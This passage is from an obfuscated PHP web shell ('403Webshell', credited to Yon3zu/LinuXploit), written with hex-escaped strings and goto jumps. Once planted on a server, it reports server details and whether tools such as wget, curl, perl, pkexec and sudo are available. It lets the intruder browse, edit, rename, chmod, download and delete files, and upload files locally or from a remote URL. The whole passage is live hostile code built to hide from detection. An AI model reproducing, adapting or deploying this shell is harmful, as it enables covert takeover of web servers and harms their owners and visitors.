x2f\x74\162\76";}goto KMJHy;is_pE:$x_f1b91dcf="\x73\x70"."\x72\151"."\156\164\x66";goto F6i6S;JP1L1:echo "\x3c\x2f\x74\162\x3e";goto zzeS9;J8mr5:function ipsrv(){$i_fe37a210="\147"."\145\x74\x68"."\x6f\163\164"."\x62\171\156\141"."\x6d\x65";$f_c4a8afbc="\x66\x75\x6e"."\143\x74\151"."\157\156\137"."\x65\170\151\x73"."\x74\163";$v_c162e65a="\x53"."\105\x52\x56\x45"."\122\x5f\x41\104"."\x44\x52";$f_ee334ab1="\x53\105"."\x52\126"."\105\122\x5f\x4e"."\101\115"."\x45";if($f_c4a8afbc($i_fe37a210)){return $i_fe37a210($_SERVER[$f_ee334ab1]);}else{return $i_fe37a210($_SERVER[$v_c162e65a]);}}goto aWY3Z;in22G:echo "\x50\x48"."\120\40\x56"."\x65\162"."\163\151\x6f"."\156\x20\x3a\x20\74\146\157\x6e\x74\x20\143\157\154\x6f\x72\75\x27\43\144\146\x35\x27\76".@$x_33b4e686()."\74\x2f\146\x6f\x6e\x74\x3e\74\142\x72\76";goto WIJkJ;Sutv3:foreach($h_8e3abc4c as $b_8eaad3e3){$j_8b4f726d=$b_949843ba."\x2f".$b_8eaad3e3;if(!$a_48c8825e("{$b_949843ba}\x2f{$b_8eaad3e3}")){continue;}$n_f065f363=$p_ca24b68b("{$b_949843ba}\x2f{$b_8eaad3e3}")/$v_4c695de9;$n_f065f363=$n_864de9c3($n_f065f363,3);if($n_f065f363>=$v_4c695de9){$n_f065f363=$n_864de9c3($n_f065f363/$v_4c695de9,2)."\x20\x4d"."\x42";}else{$n_f065f363=$n_f065f363."\40\113"."\x42";}echo "\x3c\x74\162\76\xa\x3c\164\144\x3e".cfn($j_8b4f726d)."\40\74\141\40\x68\x72\x65\146\x3d\x22\x3f\154\x6f\153\x61\163\x69\145\x3d{$b_949843ba}\x2f{$b_8eaad3e3}\46\154\x6f\x6b\156\x79\x61\x3d{$b_949843ba}\42\76{$b_8eaad3e3}\74\57\x61\x3e\74\x2f\x74\x64\76\xa\x3c\x74\144\x3e\x3c\x63\145\x6e\x74\145\162\x3e".$n_f065f363."\74\x2f\x63\x65\x6e\x74\x65\x72\x3e\x3c\x2f\x74\144\x3e\12\74\164\144\76\74\143\x65\x6e\x74\x65\x72\x3e".fdt($j_8b4f726d)."\74\x2f\143\145\x6e\x74\x65\162\x3e\x3c\57\164\x64\x3e\xa\74\164\144\76\74\x63\x65\156\x74\x65\x72\x3e".gor($j_8b4f726d)."\40\x2f\x20".ggr($j_8b4f726d)."\74\57\143\145\156\164\145\x72\76\74\x2f\164\x64\x3e\12\x3c\164\144\x3e\x3c\x63\x65\156\164\x65\162\76";if($f_45c35a5c("{$b_949843ba}\57{$b_8eaad3e3}")){echo "\74\x66\157\x6e\164\40\143\157\x6c\x6f\162\x3d\42\x67\x72\x65\x65\156\x22\76";}elseif(!$g_9b1364ea("{$b_949843ba}\57{$b_8eaad3e3}")){echo "\x3c\146\157\156\x74\x20\x63\157\x6c\157\162\75\42\x72\x65\144\42\76";}echo statusnya("{$b_949843ba}\x2f{$b_8eaad3e3}");if($f_45c35a5c("{$b_949843ba}\x2f{$b_8eaad3e3}")||!$g_9b1364ea("{$b_949843ba}\57{$b_8eaad3e3}")){echo "\x3c\x2f\x66\x6f\156\x74\76";}echo"\x3c\x2f\x63\x65\156\x74\145\162\x3e\74\x2f\x74\144\x3e\74\x74\144\76\74\x63\x65\x6e\164\x65\x72\x3e\xa\x3c\x66\157\x72\x6d\x20\x6d\145\x74\x68\x6f\144\x3d\42\160\157\x73\164\42\40\141\143\164\151\157\156\x3d\x22\77\x70\x69\x6c\x69\150\x61\156\46\x6c\157\x6b\x6e\x79\141\x3d{$b_949843ba}\x22\x3e\12\74\x62\165\x74\x74\157\156\x20\164\171\160\x65\75\47\x73\x75\142\x6d\x69\164\x27\x20\x63\154\x61\163\x73\x3d\x27\142\164\146\47\40\156\141\155\x65\x3d\47\160\x69\154\151\x68\47\x20\166\x61\x6c\x75\145\x3d\x27\x65\x64\151\164\x27\x3e\x3c\151\x20\143\154\141\163\163\75\x27\146\141\40\x66\141\55\x65\144\x69\164\x27\x20\163\164\x79\x6c\x65\x3d\47\143\x6f\x6c\x6f\162\x3a\x20\x23\146\x66\146\47\x3e\x3c\57\x69\76\74\57\142\x75\x74\164\x6f\156\x3e\xa\74\x62\165\x74\x74\157\x6e\x20\x74\171\x70\145\x3d\x27\x73\165\x62\x6d\151\164\47\40\x63\154\x61\163\x73\x3d\x27\x62\x74\x66\x27\x20\x6e\141\x6d\x65\x3d\47\x70\x69\x6c\151\150\x27\40\166\141\x6c\165\x65\x3d\x27\165\142\x61\150\x6e\x61\x6d\x61\x27\x3e\x3c\x69\x20\x63\154\x61\163\163\x3d\x27\146\x61\x20\x66\x61\55\x70\x65\x6e\x63\151\x6c\47\x20\163\x74\x79\154\x65\x3d\47\143\x6f\154\157\162\x3a\x20\43\146\x66\x66\47\x3e\x3c\x2f\x69\76\74\57\x62\165\164\x74\157\156\76\12\74\142\x75\x74\164\x6f\156\40\164\171\160\145\75\x27\x73\165\x62\155\151\x74\47\40\143\154\141\163\x73\x3d\x27\142\164\146\x27\40\x6e\141\155\x65\x3d\x27\x70\x69\x6c\x69\150\47\40\x76\141\154\x75\145\x3d\47\165\142\141\x68\164\x61\x6e\147\x67\141\x6c\x27\x3e\x3c\151\x20\143\x6c\x61\163\x73\75\x27\x66\x61\40\146\141\55\x63\141\154\145\156\144\x61\x72\47\x20\x73\164\x79\x6c\x65\75\x27\143\x6f\154\x6f\162\72\x20\x23\x66\x66\x66\47\x3e\x3c\57\x69\x3e\x3c\57\142\x75\x74\x74\x6f\156\76\xa\x3c\x62\x75\x74\x74\x6f\x6e\40\x74\171\x70\145\x3d\47\163\x75\142\155\x69\164\x27\x20\143\154\x61\163\x73\x3d\47\142\x74\146\x27\40\156\x61\x6d\x65\x3d\47\x70\x69\x6c\x69\x68\47\x20\166\x61\154\165\145\x3d\x27\165\x62\141\x68\155\157\144\x27\x3e\x3c\x69\40\x63\x6c\141\x73\x73\75\47\x66\x61\40\x66\x61\x2d\147\x65\x61\162\x27\x20\163\164\x79\154\145\75\47\143\x6f\x6c\x6f\162\72\x20\43\x66\146\146\x27\76\x3c\x2f\151\x3e\74\x2f\x62\165\x74\164\x6f\156\76\12\74\x62\x75\164\164\157\x6e\40\164\x79\x70\145\x3d\47\163\165\142\x6d\151\164\x27\x20\x63\154\x61\163\163\x3d\47\142\164\x66\47\40\x6e\141\155\145\x3d\x27\160\x69\x6c\x69\x68\x27\40\x76\x61\154\165\x65\75\x27\x64\x75\x6e\154\165\164\x27\76\74\x69\40\143\154\141\163\x73\x3d\x27\146\x61\40\x66\x61\x2d\x64\157\x77\x6e"."\x6c\157\x61\144\x27\x20\163\x74\x79\x6c\x65\75\47\x63\157\x6c\x6f\x72\72\x20\x23\x66\146\146\x27\x3e\74\57\x69\x3e\74\57\x62\165\164\164\x6f\156\76\xa\x3c\142\x75\x74\x74\157\x6e\40\x74\171\x70\x65\x3d\x27\163\165\142\x6d\x69\164\x27\x20\143\154\x61\163\x73\75\x27\142\x74\146\47\40\156\141\155\x65\x3d\47\160\151\154\x69\x68\x27\x20\x76\141\x6c\x75\x65\x3d\x27\x68\x61\160\165\x73\47\x3e\x3c\x69\40\x63\154\141\x73\163\x3d\47\x66\x61\x20\146\x61\x2d\x74\162\x61\163\150\47\40\x73\x74\x79\154\x65\75\x27\x63\157\154\157\162\72\x20\43\146\146\x66\x27\76\x3c\57\151\76\x3c\57\142\165\164\164\157\x6e\x3e\xa\x3c\x69\156\x70\x75\x74\x20\164\x79\x70\x65\x3d\x22\x68\151\144\x64\x65\156\x22\40\x6e\141\155\x65\75\x22\164\x79\160\x65\x22\x20\x76\141\x6c\165\x65\75\42\x66\x69"."\x6c\x65\42\76\12\74\151\156\160\x75\164\40\x74\171\160\x65\75\x22\150\x69\x64\144\145\x6e\42\40\156\141\155\x65\75\x22\156\141\x6d\145\42\x20\x76\141\154\x75\x65\x3d\x22{$b_8eaad3e3}\42\76\xa\74\x69\x6e\x70\x75\164\x20\x74\x79\x70\x65\x3d\42\x68\x69\144\x64\145\156\42\40\x6e\141\x6d\x65\75\42\154\157\153\x6e\x79\x61\x22\40\166\x61\x6c\x75\145\x3d\42{$b_949843ba}\x2f{$b_8eaad3e3}\x22\76\12\x3c\57\x66\x6f\162\155\76\x3c\57\x63\x65\x6e\164\x65\162\x3e\74\57\164\x64\76\12\74\57\x74\x72\76";}goto pZgRy;b0CMz:echo "\123\x65"."\162\x76"."\x65\162"."\40\111"."\x50\x20\x3a\x20\74\146\157\x6e\164\x20\x63\157\x6c\x6f\162\75\43\x64\x66\x35\76".ipsrv()."\74\x2f\146\157\x6e\x74\x3e\40\46\156\x62\x73\160\73\x2f\x26\156\142\x73\x70\x3b\40\x59\157"."\x75\162\40\x49"."\x50\40\72\x20\74\x66\157\156\x74\x20\143\x6f\x6c\x6f\x72\x3d\43\144\x66\x35\76".$_SERVER[$g_227e7e62]."\74\x2f\x66\x6f\x6e\x74\76\x3c\142\x72\x3e";goto hJDJ0;XJQnN:if($f_45c35a5c($c_301d40cc)){echo "\74\x66\157\x6e\x74\40\143\157\x6c\x6f\162\75\42\147\162\145\145\x6e\42\76";}elseif(!$g_9b1364ea($c_301d40cc)){echo "\74\x66\157\156\164\40\x63\x6f\x6c\x6f\x72\75\42\162\x65\144\x22\x3e";}goto jsz_f;KMJHy:echo "\74\x74\x72\x20\143\154\x61\x73\163\x3d\x22\146\151\x72\x73\x74\42\76\x3c\164\x64\x3e\x3c\x2f\x74\x64\76\74\164\144\x3e\74\57\x74\x64\x3e\x3c\x74\144\76\x3c\x2f\x74\144\76\x3c\x74\x64\x3e\x3c\x2f\x74\144\76\74\164\144\76\x3c\57\164\x64\76\74\164\144\76\x3c\57\164\144\x3e\74\57\164\162\x3e";goto UrP8z;NDCcI:if(@$v_ad6a2413("\57"."\x75\x73"."\x72\57\142"."\x69\x6e\x2f\x77"."\147\145\x74")){echo "\74\146\157\x6e\164\x20\143\157\154\x6f\162\75\x67\162\x65\145\156\76\x4f\x4e\x3c\57\x66\x6f\x6e\x74\x3e";}else{echo "\74\x66\157\156\x74\40\x63\157\x6c\x6f\162\75\162\145\x64\76\117\106\x46\74\57\146\157\x6e\x74\76";}goto kl7rC;M2Tad:echo"\74\57\x63\x65\x6e\164\145\x72\76\74\x2f\164\x64\76\xa\x3c\164\144\76\74\143\145\x6e\164\x65\162\76\74\146\157\162\155\x20\155\x65\x74\x68\157\x64\75\42\120\117\123\x54\42\40\x61\x63\x74\151\157\156\x3d\42\77\x70\151\154\x69\x68\141\x6e\x26\x6c\157\153\x6e\171\x61\75{$b_949843ba}\x22\76\12\74\151\x6e\160\165\164\40\x74\171\x70\x65\75\x22\150\x69\144\144\145\156\42\x20\x6e\x61\155\x65\x3d\42\164\171\x70\x65\x22\x20\166\x61\x6c\165\x65\75\x22\x64\151\x72\42\76\xa\74\151\156\x70\165\x74\40\164\x79\x70\145\x3d\42\150\151\144\144\x65\x6e\x22\40\x6e\x61\x6d\145\75\42\x6e\141\x6d\145\x22\40\x76\141\154\165\145\x3d\42{$b_b3a79161}\42\76\12\x3c\x69\156\160\x75\164\40\x74\x79\x70\145\75\x22\x68\x69\x64\144\145\156\x22\40\156\141\155\x65\75\42\154\x6f\x6b\156\x79\x61\42\40\x76\x61\154\x75\145\75\42{$b_949843ba}\57{$b_b3a79161}\x22\x3e\xa\74\142\x75\x74\164\x6f\156\40\x74\171\160\145\75\47\163\x75\142\x6d\x69\x74\x27\x20\x63\x6c\141\x73\163\x3d\x27\x62\x74\146\x27\x20\156\141\x6d\145\75\47\x70\x69\154\151\x68\x27\40\166\141\x6c\x75\145\75\x27\x66\157\x6c\x64\x65\x72\47\x3e\x3c\151\x20\x63\x6c\141\x73\163\75\47\146\141\40\x66\141\x2d\x66\x6f\x6c\x64\x65\x72\47\40\163\164\x79\154\145\75\47\x63\157\x6c\157\x72\72\x20\x23\x66\x66\x66\47\76\74\x2f\151\76\x3c\57\142\165\164\164\x6f\x6e\76\12\x3c\142\165\164\164\157\156\x20\164\x79\160\145\75\47\x73\x75\142\155\151\164\x27\40\143\154\x61\x73\x73\x3d\47\142\x74\146\47\40\156\141\x6d\145\75\47\160\x69\x6c\151\150\x27\40\x76\x61\154\x75\x65\x3d\x27\x66\x69\154\145\x27\x3e\74\x69\x20\x63\154\x61\163\163\75\x27\146\141\x20\146\x61\x2d\x66\x69\x6c\x65\47\40\x73\164\x79\154\x65\x3d\47\x63\x6f\x6c\157\x72\72\x20\x23\x66\x66\146\x27\x3e\74\57\x69\x3e\x3c\57\142\165\164\164\x6f\156\x3e\xa\74\57\146\x6f\x72\155\76\x3c\57\143\x65\x6e\164\145\x72\x3e";goto JP1L1;MRh5I:$v_13a94065="\x63\150"."\155"."\x6f\x64";goto DeZ8r;y1IW0:echo "\115\x79\123\121\114\x20\x3a\x20";goto bdVN_;rrEUB:function gor($f_101668c4){$i_fe37a210="\x66\165\x6e"."\143\x74\151"."\x6f\156\x5f"."\145\170\x69\163"."\164\x73";$f_c4a8afbc="\x70\x6f"."\x73"."\151\x78\137"."\x67\x65\164"."\160\167\165"."\x69\144";$v_c162e65a="\x66\151"."\154\x65"."\x6f"."\x77\156"."\x65\x72";if($i_fe37a210($f_c4a8afbc)){if(!$i_fe37a210($v_c162e65a)){return "\77";}$f_ee334ab1=$f_c4a8afbc($v_c162e65a($f_101668c4));if(empty($f_ee334ab1)){$i_914f5fd7=$v_c162e65a($f_101668c4);if(empty($i_914f5fd7)){return "\77";}else{return $i_914f5fd7;}}else{return $f_ee334ab1["\x6e\141\155\x65"];}}elseif($i_fe37a210($v_c162e65a)){return $v_c162e65a($f_101668c4);}else{return "\x3f";}}goto NW3Fw;Qjtez:echo "\74\146\x6f\x6e\164\40\146\x61\143\x65\x3d\42\102\165\x6e\x67\x65\x65\42\x20\x73\151\x7a\x65\x3d\42\65\x22\x3e\x34"."\x30"."\x33"."\x57\145"."\x62\x73"."\150\145"."\x6c\154\74\x2f\146\157\x6e\164\76\x3c\x2f\143\145\156\x74\145\162\76\12\x3c\x74\141\x62\154\145\x20\167\151\144\x74\150\75\x22\61\60\x30\x25\x22\40\x62\157\162\x64\145\x72\75\42\x30\x22\40\143\x65\154\x6c\x70\x61\x64\144\x69\x6e\147\x3d\42\63\x22\40\143\x65\154\x6c\163\x70\x61\143\151\x6e\147\x3d\42\61\x22\40\141\x6c\x69\147\x6e\75\x22\143\145\x6e\x74\145\162\42\x3e\xa\x3c\164\x72\76\74\164\144\76";goto BqRsO;BBqws:if($f_45c35a5c($c_301d40cc)||!$g_9b1364ea($c_301d40cc)){echo "\74\57\x66\x6f\156\164\76";}goto M2Tad;Oqp1t:echo "\x3c\x66\157\162\x6d\40\x65\x6e\143\164\171\x70\x65\x3d\42\155\x75\x6c\164\x69\160"."\141\x72\x74\x2f\146\157\162\x6d"."\x2d\x64\x61\x74\x61\x22\x20\x6d\145\x74\150\x6f\144\x3d\x22\160"."\x6f\x73\164\42\76\xa\x3c\151\x6e\x70\165\x74\40\x74\x79\160\145\x3d\42\162\x61\144\x69\157\x22\40\x76\x61\154\x75\145\x3d\x22\61\x22\40\x6e\141\155\145\x3d\42\144\x69\162\156\x79\x61\42\40\143\150\x65\143\x6b\145\144\x3e\x63\x75\162\x72\x65\x6e\x74\x5f\x64\151\162\x20\x5b\40".cekdir()."\x20\x5d\12\74\151\156\x70\x75\164\40\x74\171\x70\145\75\x22\162\141\144\151\157\42\x20\x76\x61\154\165\145\x3d\42\x32\42\x20\156\141\x6d\145\x3d\x22\x64\151\x72\x6e\x79\x61\42\x20\76\144\x6f\143\x75\x6d\x65\156\x74\x5f\x72\x6f\x6f\x74\40\133\x20".crt()."\40\135\12\x3c\142\x72\76\12\x3c\x69\156\x70\x75\x74\x20\x74\x79\x70\145\75\42\150\151\144\144\x65\x6e\x22\40\156\141\x6d\145\75\42\x75\x70\167\x6b\x77\153\x22\40\x76\141\x6c\165\145\x3d\x22\x61\160\x6c\x6f\x64\42\x3e\xa\74\151\x6e\160\x75\164\40\164\x79\x70\145\75\42\x66\x69"."\x6c\x65\x22\40\x6e\141\155\x65\x3d\x22\142\x65\x72\x6b\x61\x73\42\x3e\x3c\151\156\160\165\x74\40\x74\x79\x70\145\x3d\x22\x73\x75\x62\155\151\164\42\40\x6e\x61\155\x65\75\42\x62\x65\x72\153\x61\163\x6e\x79\x61\42\x20\166\141\x6c\x75\145\75\x22\125\160"."\x6c\157\141\144\x22\x20\x63\154\x61\x73\x73\x3d\x22\x75\x70\42\x20\163\x74\171\154\145\x3d\x22\143\165\162\163\x6f\162\72\x20\x70\157\151\x6e\x74\145\x72\73\40\142\x6f\x72\x64\145\x72\x2d\x63\x6f\154\157\162\72\40\x23\146\146\146\42\x3e\x3c\142\x72\x3e\12\x3c\x69\156\160\165\x74\x20\164\x79\160\145\x3d\x22\x74\x65\x78\x74\x22\x20\156\141\x6d\145\x3d\x22\144\x61\162\x69\x6c\x69\x6e\153\42\x20\x63\x6c\141\x73\163\x3d\x22\x75\160\42\40\160\x6c\x61\x63\145\x68\157\154\x64\x65\162\75\x22\150\164\164\160\x73\x3a\x2f\x2f\154\151\x6e\x75\x78"."\x70\154\x6f\x69\x74\56\x63\x6f\155\57\165\160\154"."\157\141\144\x2e\164\170\164\x22\76\x26\156\x62\x73\160\x3b\x3c\151\156\160\165\x74\x20\164\x79\160\x65\x3d\42\164\145\170\164\x22\x20\x6e\x61\x6d\x65\75\42\x6e\141\x6d\141\x6c\151\156\153\x22\x20\143\x6c\x61\x73\x73\x3d\42\165\x70\42\x20\163\x69\x7a\145\x3d\x22\65\x22\40\160\154\141\x63\145\x68\x6f\x6c\144\x65\x72\x3d\42\153\x65"."\162\141\x6e\147\56\164\x78\x74\42\x3e\x3c\151\156\160\165\x74\40\164\171\x70\145\x3d\x22\163\165\142\x6d\x69\x74\x22\x20\x6e\141\x6d\145\x3d\x22\x6c\x69\156\x6b\156\x79\x61\x22\40\143\x6c\x61\x73\163\x3d\x22\x75\x70\42\x20\166\x61\x6c\x75\x65\x3d\x22\125\160\154\x6f\x61\144\x22\x20\x73\x74\171\x6c\145\x3d\42\x63\165\x72\163\157\162\72\x20\160\x6f\151\156\x74\x65\x72\73\40\x62\157\162\144\x65\162\x2d\x63\x6f\154\157\x72\x3a\40\43\146\x66\146\x22\x3e\12\x3c\x2f\146\157\x72\x6d\x3e";goto dkvXO;VLDW0:$e_7bb1988c="\x65\170"."\x70\x6c\x6f"."\144\x65";goto zPbqE;rgZnW:echo "\x20\x26\x6e\142\163\x70\73\174\x26\x6e\142\163\160\73\x20\120\153"."\x65"."\x78"."\145"."\143\40\72\40";goto LrbsP;Fw92s:function tuls($c_b966a70f,$y_4148b6ac){return "\x5b\x20\x3c\x61\x20\x68\x72\145\146\x3d\x27".$y_4148b6ac."\47\x3e".$c_b966a70f."\74\x2f\x61\x3e\x20\x5d\46\x6e\x62\x73\x70\x3b\46\x6e\142\163\x70\x3b\46\156\x62\x73\x70\x3b\46\156\142\163\x70\73\x26\156\142\163\x70\x3b";}goto b0CMz;IGvzT:$p_ca24b68b="\x66\x69"."\x6c\x65\163\151"."\172\x65";goto stRxh;dmi9o:$a_48c8825e="\151"."\163\137\x66\x69"."\x6c\x65";goto JBgPI;V7RIM:echo "\40\x26\x6e\142\163\x70\73\174\x26\x6e\142\x73\x70\x3b\40\143\125\x52\114\40\x3a\40";goto s3aXY;Vj7Mh:?>
<!doctypehtml><html><head><?php goto GlE_A;Qr83q:echo "\x3c\144\151\166\40\151\x64\x3d\42\143\x6f\156\x74\145\156\164\x22\x3e\74\164\x61\x62\154\x65\x20\x77\x69\144\x74\x68\x3d\x22\61\60\x30\x25\42\40\x62\157\x72\x64\x65\162\75\42\60\x22\40\143\145\154\x6c\x70\141\x64\x64\151\x6e\x67\x3d\x22\63\x22\40\x63\x65\x6c\154\x73\160\x61\143\x69\x6e\147\75\x22\x31\42\40\141\154\x69\x67\x6e\x3d\x22\x63\x65\x6e\164\x65\x72\x22\x3e\xa\x3c\164\x72\40\143\154\141\x73\163\75\42\x66\151\x72\x73\x74\x22\76\12\x3c\164\x64\76\74\x63\145\x6e\164\x65\162\x3e\x4e\141"."\155\x65\74\x2f\143\145\x6e\164\145\x72\x3e\74\57\164\x64\x3e\xa\x3c\164\144\x3e\74\143\145\x6e\164\x65\162\76\123\x69"."\172\145\74\x2f\143\145\156\164\x65\162\x3e\74\x2f\x74\144\x3e\xa\x3c\x74\144\x3e\74\143\145\156\x74\145\x72\76\114\x61\x73"."\164\x20\115\157"."\144\151\146"."\x69\x65\x64\74\57\143\x65\x6e\164\x65\162\76\x3c\x2f\x74\x64\76\12\x3c\164\144\76\74\x63\145\156\x74\145\162\x3e\117\x77\x6e\145\162\x20\57\40\107\x72\157\165\x70\x3c\57\x63\145\x6e\164\145\162\76\74\x2f\164\144\x3e\12\74\164\x64\76\x3c\x63\x65\x6e\x74\145\162\x3e\120\145"."\162\155\151"."\x73\x73"."\151\157\156\163\x3c\x2f\143\x65\x6e\x74\x65\162\x3e\74\57\x74\x64\x3e\xa\74\x74\144\76\74\x63\x65\156\x74\145\162\76\117\160"."\164\x69\x6f"."\x6e\x73\x3c\57\x63\x65\156\164\145\162\76\74\x2f\164\144\76\xa\x3c\x2f\x74\x72\76";goto k_yi2;kl7rC:echo "\x20\x26\156\142\x73\x70\73\174\x26\x6e\x62\x73\160\x3b\40\120\145"."\x72\x6c\x20\72\40";goto QpV1u;KwIL3:echo "\x20\x26\x6e\142\163\x70\x3b\174\46\156\142\x73\x70\73\x20\x53"."\x75"."\144\157\40\x3a\40";goto rRTEU;Yy3fF:$v_ad6a2413="\146\151"."\x6c\x65\137"."\145\170\151\163"."\x74\x73";goto isMqz;bkxbx:$x_87e14b9="\155"."\x6b\144"."\151\x72";goto C0cje;X5OJQ:echo "\x3c\164\x64\76\x3c\151\x20\x63\154\141\x73\x73\75\x27\146\x61\40\x66\x61\55\146\x6f\154\144\x65\162\x27\x20\163\164\171\x6c\145\75\47\143\x6f\x6c\157\x72\72\40\43\x66\x66\x65\x39\141\x32\47\x3e\x3c\57\x69\76\x20\74\x61\40\150\162\x65\x66\75\42\77\x6c\x6f\153\156\171\x61\75".$c_301d40cc."\x22\x3e\56\x2e\74\x2f\141\76\x3c\x2f\x74\144\76\xa\74\164\144\x3e\74\x63\145\x6e\x74\x65\162\76\x2d\x2d\74\57\x63\145\x6e\x74\x65\162\76\74\x2f\x74\144\76\12\x3c\x74\x64\x3e\x3c\143\145\x6e\x74\x65\162\x3e".fdt($c_301d40cc)."\74\57\x63\x65\156\164\145\162\x3e\74\x2f\164\144\76\12\74\x74\x64\76\74\x63\x65\156\x74\x65\162\x3e".gor($c_301d40cc)."\x20\57\40".ggr($c_301d40cc)."\74\x2f\x63\145\156\164\145\x72\x3e\74\57\164\x64\x3e\xa\x3c\164\144\x3e\74\x63\x65\x6e\164\x65\162\x3e";goto XJQnN;J5lok:$w_de64c881="\x67"."\x65\x74"."\155\171"."\165\x69"."\144";goto X75GJ;sOHOS:echo "\x20\x26\x6e\142\x73\160\x3b\174\46\x6e\x62\x73\160\73\x20\127\107"."\105\x54\x20\x3a\40";goto NDCcI;rhAYL:function author(){echo "\x3c\x63\145\156\x74\145\x72\76\x3c\142\x72\x3e\131\157"."\x75"."\x65\172\x20\x2d\40\62"."\60\x31"."\66\x20\x2d\40"."\147\x69"."\x74\x68\165"."\142\56\x63"."\157\155"."\x2f\171\157"."\x6e\x33\172"."\x75\x3c\142\x72\76\x3c\141\40\150\x72\x65\146\75\47\150\x74\x74\x70\x73\x3a\57\57\x6c\151"."\x6e\x75"."\x78\x70"."\154\x6f\151"."\164"."\56\143\157\x6d\x2f\47\40\164\x61\162\x67\x65\x74\75\x27\x5f\142\x6c\141\156\x6b\47\x3e\x4c\x69\156"."\x75\130"."\160\154"."\x6f"."\x69\164\74\57\141\76\74\x2f\143\145\x6e\164\145\162\x3e";die;}goto qMRRu;WIJkJ:echo "\104\x69\163"."\141\142\154"."\x65\40\106\165"."\x6e\143\x74"."\x69\157\x6e\x20\x3a\x20".$q_87c674bb."\74\x2f\146\157\156\164\76\x3c\142\162\76";goto y1IW0;ybcze:echo "\74\150\x72\x3e\x3c\57\143\145\x6e\164\145\162\x3e\74\x62\162\76";goto xRUYU;JBgPI:$b_f64846df="\x73\x75\x62\x73"."\164\162";goto is_pE;qCv8M:$q_fcc37d19="\x75\156"."\154\151"."\x6e\x6b";goto dmi9o;LfWyY:foreach($_POST as $i_457db4cb=>$p_9fc17734){$_POST[$i_457db4cb]=$j_5c160f12($p_9fc17734);}goto b_MB1;OIWlo:echo "\x3c\x2f\164\141\142\x6c\x65\x3e\74\142\x72\x3e";goto Avx7m;l7xqo:function statusnya($f_101668c4){$i_fe37a210="\x73\165\x62"."\163\164"."\x72";$f_c4a8afbc="\163"."\160\x72\x69"."\156\x74\146";$v_c162e65a="\146\x69\154"."\145\160\145\162"."\155\x73";$a_e4bb7ac3=$i_fe37a210($f_c4a8afbc("\45\x6f",$v_c162e65a($f_101668c4)),-4);return $a_e4bb7ac3;}goto o4Hyh;QpV1u:if(@$v_ad6a2413("\57\165"."\x73\162\x2f\x62"."\x69\x6e"."\57\x70\145"."\162\154")){echo "\74\146\x6f\x6e\164\40\x63\x6f\x6c\x6f\162\75\147\162\145\x65\156\x3e\x4f\x4e\74\x2f\x66\x6f\x6e\164\76";}else{echo "\74\x66\157\x6e\164\40\143\x6f\154\x6f\162\75\x72\145\144\x3e\x4f\x46\x46\74\57\x66\x6f\156\x74\76";}goto dTR4e;UrP8z:$v_4c695de9="\x31\x30"."\62\x34";goto Sutv3;s3aXY:if(@$s_558f1434("\x63\165"."\x72\154"."\137\x69\156"."\x69\x74")){echo "\74\146\157\156\x74\x20\143\157\x6c\157\x72\x3d\x67\162\145\x65\156\x3e\x4f\x4e\x3c\57\146\x6f\x6e\x74\76";}else{echo "\74\146\x6f\x6e\x74\x20\143\157\154\157\x72\75\x72\145\x64\x3e\x4f\106\106\74\57\x66\157\156\x74\x3e";}goto sOHOS;pZgRy:echo "\x3c\57\x74\162\76\x3c\x2f\164\144\76\x3c\x2f\x74\141\142\x6c\145\76\x3c\x2f\x74\x61\x62\x6c\x65\x3e";goto p6t94;Ibsdz:$y_54f2c9ab="\147"."\x65\x74\137"."\x63\x75\x72\162"."\x65\x6e\164"."\x5f\x75\163"."\145\x72";goto J5lok;Gwd6r:$h_27ab167c="\146"."\x69\154\x65\137\147"."\x65\x74\137\143"."\157\156\164\x65\x6e"."\x74\163";goto q7TOb;Yk4fq:function crt(){$i_fe37a210="\x69\x73"."\137\x77"."\x72\151"."\164\x61\x62"."\154\x65";if($i_fe37a210($_SERVER["\x44\117"."\x43\x55"."\x4d\x45"."\x4e\124"."\137\x52\x4f"."\x4f\x54"])){return "\74\x66\157\x6e\x74\40\x63\157\154\157\162\x3d\x27\x67\x72\x65\145\x6e\47\x3e\127\162\x69\164\145\141\142\154\145\74\x2f\146\157\156\164\x3e";}else{return "\74\146\157\156\x74\40\x63\157\154\x6f\162\x3d\x27\162\145\x64\x27\x3e\127\x72\x69\164\145\141\142\154\x65\x3c\x2f\x66\x6f\x6e\x74\76";}}goto nbjx3;X75GJ:echo "\x55\163"."\145\162\40\x3a\x20\x3c\x66\x6f\156\164\x20\x63\x6f\154\157\162\75\x27\43\x64\x66\65\47\76".@$y_54f2c9ab()."\46\156\x62\163\x70\x3b\74\x2f\x66\x6f\156\164\76\50\x20\x3c\x66\157\156\164\40\x63\x6f\x6c\157\162\75\x27\x23\144\146\x35\47\x3e".@$w_de64c881()."\74\x2f\x66\157\156\164\x3e\x29\74\142\x72\76";goto b2wMC;vnzdc:$n_f7dd1c23="\151\x6e"."\x69\137\147"."\x65\164";goto fPh06;hJDJ0:echo "\127\x65"."\142\40\123"."\145\162\x76"."\145\162\40\x3a\x20\74\x66\157\x6e\x74\40\143\157\x6c\x6f\x72\x3d\x27\43\x64\x66\65\x27\76".$_SERVER["\123\105"."\x52\126"."\105\x52\x5f"."\123\117\x46"."\x54\x57\x41"."\x52\x45"]."\74\57\146\157\x6e\164\76\x3c\x62\162\x3e";goto ZWo23;l3Ud9:$s_c410bce1="\151"."\163\x5f\144"."\151\162";goto Qm6Ql;sFCMz:echo tuls("\x42\x61\143\153",$_SERVER["\123\x43"."\122\x49\x50"."\x54\137\x4e"."\101\x4d\x45"]);goto ybcze;xRUYU:if(isset($_GET["\x6c\x6f\x6b\x61\x73\x69\145"])){echo "\74\164\162\x3e\74\x74\144\76\103\x75\x72\x72\145\156\x74\x20\x46\x69"."\154\145\x20\72\x20".$_GET["\x6c\x6f\153\141\x73\x69\145"];echo "\x3c\57\164\x72\x3e\74\57\x74\x64\x3e\74\x2f\164\141\142\154\145\76\74\x62\x72\57\x3e";echo 